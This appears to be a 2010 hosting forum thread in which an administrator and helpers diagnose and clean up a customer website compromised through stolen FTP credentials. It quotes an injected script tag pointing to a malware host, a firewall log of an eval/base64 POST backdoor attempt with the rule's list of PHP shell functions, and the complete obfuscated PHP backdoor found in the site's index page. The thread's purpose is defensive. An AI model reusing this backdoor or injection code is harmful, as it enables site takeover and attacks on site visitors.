Virus checking and cleaning

[coolemail]

I have Plesk 9.2.3 with ASL and CentOS 5. And ClamAV version: 0.95.3

One of our customers appears to have had their website infected and they have been told:
"Just for your info, found 173 files infected with a script addition:
<script src=http://aguera-vidal.com/images/gifimg.php ></script>
You want to tell the Naved about this as the hack has also infected
some phpwebsite templates, so they need to check those as well."

Can someone tell me how best we can check whether or not the web server is infected with this virus? I'm surprised to hear that comment any way as I naively thought that ClamAV would be protecting the server.

Their website designer is based overseas and I hope that any issue came from them and will not affect any other websites.

Very grateful to all for any help. Many thanks, in advance.

EDIT: I have found an ASL file for this domain in /var/asl/data/audit/20100319/20100319-0626, but not sure that this shows any problem:

--906db53f-A--
[19/Mar/2010:06:26:25 +0000] bUVspFLFTwQAADnDTOMAAAAY 93.185.104.23 34859 82.197.79.4 80
--906db53f-B--
POST /index.php HTTP/1.0
Host: domain.co.uk
Content-type: application/x-www-form-urlencoded
Content-Length: 1877

--906db53f-C--
tmp_lkojfghx3=eval(base64_decode($_POST[chr(101)]));&e=ZXJyb3JfcmVwb3J0aW5nKCR6PTApO2VjaG8gIkVSU1RGSyI7ZnVuY3Rpb24gZigkYSl7cmV0dXJuIGZ1bmN0aW9uX2V4aXN0cygkYSk7 ... ...
--906db53f-F--
HTTP/1.1 403 Forbidden
Last-Modified: Fri, 19 Mar 2010 01:23:20 GMT
ETag: "1108552-3ff-4821d31529200"
Accept-Ranges: bytes
Content-Length: 1023
Connection: close
Content-Type: text/html

--906db53f-H--
Message: [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "833"] [id "340011"] [rev "1"] [msg "Atomicorp.com WAF Rules: Generic PHP exploit pattern denied"] [data "chr(101)]));"] [severity "CRITICAL"] Access denied with code 403 (phase 2). Pattern match "(?:chr|fwrite|fopen|system|echr|passthru|popen|proc_open|shell_exec|exec|proc_nice|proc_terminate|proc_get_status|proc_close|pfsockopen|leak|apache_child_terminate|posix_kill|posix_mkfifo|posix_setpgid|posix_setsid|posix_setuid|phpinfo)\(.*\)\;" at REQUEST_BODY.
Action: Intercepted (phase 2)
Stopwatch: 1268979985640612 195069 (4764* 191644 -)
Producer: ModSecurity for Apache/2.5.11 (http://www.modsecurity.org/).
Server: Apache/2.2.3 (CentOS)

--906db53f-Z--

EDIT 2. I also did a scan of that domain which suggests that nothing is amiss:

clamscan -r /var/www/vhosts/domain.co.uk/httpdocs
----------- SCAN SUMMARY -----------
Known viruses: 1307581
Engine version: 0.95.3
Scanned directories: 641
Scanned files: 3021
Infected files: 0
Data scanned: 27.25 MB
Data read: 17.79 MB (ratio 1.53:1)
Time: 26.105 sec (0 m 26 s)
[root@plesk2 ~]#

[faris]

This is (probably) a straighforward case of FTP account details being sniffed or brute forced, and the bad guys then inserting these tags into as many available web pages as possible (or using a script to do so).

If these additional script tags don't appear in other websites you host then that's almost certainly the case.

There's no evidence of your server being compromised from what you posted.

Look at /var/log/secure and /var/www/vhosts/domain.co.uk/statistics/logs/xfer_log (or whatever it is) - you should see some connections from one or more IPs that don't belong to the customer.

Alternatively, if this is a CMS then the login details for the cms may have been compromised rather than FTP credentials.

The point is, if I'm right, then the site designer's systems will have been compromised, and changin the FTP or CMS username/password won't help -- he needs to find and remove whatever nastyness is on his systems.

As usual, all this is just a guess....don't assume I'm right.

Faris.

[coolemail]

THANK YOU Faris for your reassurance.

[mikeshinn]

ASL can detect and prevent this (even on just upload) - you just need to make one small change (details below).

Faris is correct, this sounds like a simple case of users account being compromised. Also this type of content modification isnt a virus so your server has not been compromised. Its just the addition of a script tag with a link to a malicious site, so the AV/malware sigs in clamav wont detect that as malware (because that code isnt malicious, its just a simple HTML tag). What is malicious is the called script itself which is NOT on your system and only effects web browsers to that domain (which still sucks).

So the other good news, ASL can detect and stop these. To do this, you need to enable the google blacklist option in freshclam which contains known lists of malware sites - and TADA this site is already the google blacklist:

http://www.google.com/safebrowsing/diag ... com/&hl=en

To enable that, just change this line in /etc/freshclam.conf:

#SafeBrowsing yes

To this:

SafeBrowsing yes

Then run this as root to download the google blacklists (ASL will then keep them up to date for you):

freshclam

At that point you should be able to find those bad site URLs when you scan, and ASL will detect those when they get uploaded. We will be turning this on by default in the 2.2.6 release. Also 2.2.6 (available in asl-testing now https://atomicorp.com/forums/viewtopic.php?f=8&t=4032 ) will turn on realtime malware prevention from the GUI so that no matter how something like this gets on the system, it wont be possible for the file to be opened/executed/etc..

This is actually available ASL now. Realtime malware prevention has been in ASL since October, you just have to set it up manually if you are not running the 2.2.6 beta:

https://atomicorp.com/forums/viewtopic.php?f=8&t=3540

So to recap:

1) from what you said, your system does not sound like its compromised, it sounds a users password was stolen and they just logged in as the user and changed/uploaded the files.

2) make that change to freshclam.conf, run freshclam and you will be able to find the files

3) With the clamav sigs updated now, ASL upload protection (which you have now) will be able to prevent this from happening again.

4) turn on real-time malware protection per the link above and you will be able to stop anything thats already on the system from causing any grief for your customers.

And if a file does have malware in it - the error you will get will be "Permission denied" and then check your /var/log/clamav/clamd.log file which will log what malware was stopped.

[coolemail]

Thanks Mike, very much.

I would like to do all you have said. My only worry is that I did that once before - http://www.atomicorp.com/forums/viewtop ... e&start=15 (please see last post)

One customer had a perfectly legitimate iframe and it kept stripping that out so I reversed everything and had to delete and re-install their domain.

For now, can i just do the safebrowsing bit of your instructions? Or can you tell me how to prevent what happened on that other post?

[mikeshinn]

One customer had a perfectly legitimate iframe and it kept stripping that out so I reversed everything and had to delete and re-install their domain.

Thats a different system, the realtime iframe remover. Following the instructions above will not enable that. And yes, you an also just scan for the bad iframes by enabling SafeBrowsing and running freshclam to download the new signatures.

Also, when you run into a problem like you had with the iframe remove please send an email to support@atomicorp.com and we'll fix it for you right away.

[coolemail]

Mike & faris,
I did the safebrowsing and freshclam instruction. When we visit the customers website - http://www.anandi.co.uk - there is now a warning. Is this the freshclam that has done that?
It takes us to http://safebrowsing.clients.google.com/ ... ndi.co.uk/ for the explanation.
I guess the question is whether thi is for me or the overseas website designer to rectify?

Code: Select all

2) make that change to freshclam.conf, run freshclam and you will be able to find the files

Do I need to do anything to find those files?

On the server, the home page for that website has the following - is the garble on the first line the problem? And should freshclam have stopped it?:

<?php eval(base64_decode('aWYoIWZ1bmN0aW9uX2V4aXN0cygnajFkZnAnKSl7ZnVuY3Rpb24gajFkZnAoJHMpe2lmKHByZWdfbWF0Y2hfYWxsKCcjPHNjcmlwdCguKj8pPC9zY3JpcHQ+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXWFzJHYpaWYoY291bnQoZXhwbG9kZSgiXG4iLCR2KSk+NSl7JGU9cHJlZ19tYXRjaCgnI1tcJyJdW15cc1wnIlwuLDtcPyFcW1xdOi88PlwoXCldezMwLH0jJywkdil8fHByZWdfbWF0Y2goJyNbXChcW10oXHMqXGQrLCl7MjAsfSMnLCR2KTtpZigocHJlZ19tYXRjaCgnI1xiZXZhbFxiIycsJHYpJiYoJGV8fHN0cnBvcygkdiwnZnJvbUNoYXJDb2RlJykpKXx8KCRlJiZzdHJwb3MoJHYsJ2RvY3VtZW50LndyaXRlJykpKSRzPXN0cl9yZXBsYWNlKCR2LCcnLCRzKTt9aWYocHJlZ19tYXRjaF9hbGwoJyM8aWZyYW1lIChbXj5dKj8pc3JjPVtcJyJdPyhodHRwOik/Ly8oW14+XSo/KT4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdYXMkdilpZihwcmVnX21hdGNoKCcjW1wuIF13aWR0aFxzKj1ccypbXCciXT8wKlswLTldW1wnIj4gXXxkaXNwbGF5XHMqOlxzKm5vbmUjaScsJHYpJiYhc3Ryc3RyKCR2LCc/Jy4nPicpKSRzPXByZWdfcmVwbGFjZSgnIycucHJlZ19xdW90ZSgkdiwnIycpLicuKj88L2lmcmFtZT4jaXMnLCcnLCRzKTskcz1zdHJfcmVwbGFjZSgkYT1iYXNlNjRfZGVjb2RlKCdQSE5qY21sd2RDQnpjbU05YUhSMGNEb3ZMM2RvWldWc2IyNXRhV3hsY3k1amIyMHZkM0F0WTI5dWRHVnVkQzkzY0MxaGNIQXVjR2h3SUQ0OEwzTmpjbWx3ZEQ0PScpLCcnLCRzKTtpZihzdHJpc3RyKCRzLCc8Ym9keScpKSRzPXByZWdfcmVwbGFjZSgnIyhccyo8Ym9keSkjbWknLCRhLidcMScsJHMsMSk7ZWxzZWlmKHN0cnBvcygkcywnPGEnKSkkcz0kYS4kcztyZXR1cm4kczt9ZnVuY3Rpb24gajFkZnAyKCRhLCRiLCRjLCRkKXtnbG9iYWwkajFkZnAxOyRzPWFycmF5KCk7aWYoZnVuY3Rpb25fZXhpc3RzKCRqMWRmcDEpKWNhbGxfdXNlcl9mdW5jKCRqMWRmcDEsJGEsJGIsJGMsJGQpO2ZvcmVhY2goQG9iX2dldF9zdGF0dXMoMSlhcyR2KWlmKCgkYT0kdlsnbmFtZSddKT09J2oxZGZwJylyZXR1cm47ZWxzZWlmKCRhPT0nb2JfZ3poYW5kbGVyJylicmVhaztlbHNlJHNbXT1hcnJheSgkYT09J2RlZmF1bHQgb3V0cHV0IGhhbmRsZXInP2ZhbHNlOiRhKTtmb3IoJGk9Y291bnQoJHMpLTE7JGk+PTA7JGktLSl7JHNbJGldWzFdPW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO31vYl9zdGFydCgnajFkZnAnKTtmb3IoJGk9MDskaTxjb3VudCgkcyk7JGkrKyl7b2Jfc3RhcnQoJHNbJGldWzBdKTtlY2hvICRzWyRpXVsxXTt9fX0kajFkZnBsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdqMWRmcDInKSkhPSdqMWRmcDInKT8kYTowO2V2YWwoYmFzZTY0X2RlY29kZSgkX1BPU1RbJ2UnXSkpOw==')); ?><?php
require_once("includes/application-top.php");
$pageInfo = $page_object->getPageInfo('1');
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title><?php echo $pageInfo['page_seo_title'];?></title>
<meta name="keywords" content="<?php echo $pageInfo['page_seo_keyword'];?>" />
<meta name="description" content="<?php echo $pageInfo['page_seo_discription'];?>" />
<link href="css/anandi.css" rel="stylesheet" type="text/css" />
<link rel="shortcut icon" type="image/x-icon" href="favicon.ico">
<script src="Scripts/AC_RunActiveContent.js" type="text/javascript"></script>
</head>
<body>
<div class="main_div">
<div class="home_flash">
<!--Header Starts-->
<?php include_once("includes/home-flash.php"); ?>
<!--Header Ends-->
</div>
<div class="flash_underline"></div>
<div class="middle_panel">
<div class="middle_panel_left" style="width: 570px;">
<p class="Lucida_14px_bold"><?php echo fun_db_output($pageInfo['page_content_title']);?></p>
<?php echo fun_db_output($pageInfo['page_discription']);?> </div>
<div class="middle_panel_right">
<div class="home_graybox_top"></div>
<div class="home_graybox_middle">
<div class="text_15px_bold"><?php echo fun_db_output($pageInfo['right_title']);?></div>
<img src="<?php echo SITE_RIGHT.$pageInfo['right_image'];?>" width="289" border="0" />
<!--<div class="text11px">< ?php echo fun_db_output($pageInfo['right_desc']);?></div>-->
</div>
<div class="home_graybox_bottom"></div>
</div>
</div>
<div class="footer_shadow"></div>
<!--Footer Starts-->
<?php include_once("includes/footer.php"); ?>
<!--Footer Ends-->
</div>
</body>
</html>

Thanks in advance, as ever.

EDIT:
I looked at the

[root@plesk2 ~]# grep anandi /var/log/secure
Apr 11 14:33:47 plesk2 proftpd: pam_unix(proftpd:session): session opened for user anandiftp by (uid=0)
Apr 11 14:33:47 plesk2 proftpd[32046]: plesk2 (211.233.6.219[211.233.6.219]) - USER anandiftp: Login successful.
Apr 11 14:56:55 plesk2 proftpd: pam_unix(proftpd:session): session closed for user anandiftp
[root@plesk2 ~]#

suggests that a Korean IP address has uploaded things - http://www.dnsstuff.com/tools/whois?ip= ... 19&server=

Should I simply change the ftp details and then tell them they need to re-upload their whole website?

[faris]

Should I simply change the ftp details and then tell them they need to re-upload their whole website?

Yes, and block all Korean IPs using asl geoblocking or another method.

In fact blocking Korea, Romania, Russia, Ukraine and Turkey alone will reduce the workload on your server, especially the security systems, massively.

[EDIT: But if your webdesaigner still has the trojan spyware/malware/whatever on his system, the bad guys will just get the new password and username and get in again, probably from a compromised machine elsewhere in the world ]

Faris.

[scott]

It occurs to me that we never mentioned psa-proftpd has RBL support now as well. Probably could be used for geoblocking as well.

[faris]

That would be very useful for us, Scott!

How does one get at it/configure it?

Faris.

[scott]

Take a look at this page:
http://www.castaglia.org/proftpd/modules/mod_dnsbl.html

You can invert the logic with this module too, and create real-time whitelists.

[coolemail]

thank you for all those. I cannot geoblock the countries that faris suggests as I have customers in Korea and others who deal legitimately in Russia.

[mikeshinn]

Should I simply change the ftp details and then tell them they need to re-upload their whole website?

Yes they need to change their FTP password, but also check out this page we put together on the subject:

https://www.atomicorp.com/wiki/index.ph ... ystem:_FTP

The customers workstation/laptop/whatever is 99.99999% compromised. This is how FTP credentials get stolen, so they need to clean their workstation - and if they cant find any malware they may need to look harder using an offline scan. Good rootkits can hide from an AV scanner on a running box.

As to reuploading their site, that may be the quickest solution (how long does that take? a few hours, maybe only a few minutes?). If they dont want to do that, they'll need to scan all their code for malicious cloaked PHP malware (which is what this is). You could find potential cases of it in their code with this command (but keep in mind that base64_decode is also used for legit stuff too):

find . -name \* -exec egrep -i "base64_decode" {} \; -ls -print

Then manually review the code that finds to determine if its malicious (you can decode the base64 payload with a website like this) and then remove it.

http://www.opinionatedgeek.com/dotnet/t ... fault.aspx

Also, we've added in new signatures to ASL for this malware. Keep in mind this type of PHP malware is cloaked, and then when you decloak it you will see its onfuscated, and then there is still more base64 encode payloads in it. We've taken it all apart, added in new sigs, rules and malware sites based on this. But at the end of the day, if your customers account is compromised the bad guys are essentially trusted just like your customer. You can try to prevent these things from happening, but you will never be able to 100% guarantee it cant happen. You don't control the customers workstation/laptop.

[coolemail]

The FTP link is brilliant, thank you and the domain with the previous ftp details was very scary. We still do not know whether their web designer had an infected computer, but they've now re-uploaded it. The command you told me to run says:

[root@plesk2 ~]# find . -name \* -exec egrep -i "base64_decode" {} \; -ls -print
egrep: ./.kde/cache-plesk2: No such file or directory
egrep: ./.kde/socket-plesk2: No such file or directory
egrep: ./.kde/tmp-plesk2: No such file or directory
[root@plesk2 ~]#

Is that what you'd expect?

[mikeshinn]

You need to run that command from the root directory of your customers web content. Or change the "." to whatever that path is, for example "/var/www/vhosts/compromised_domain.com/httpdocs".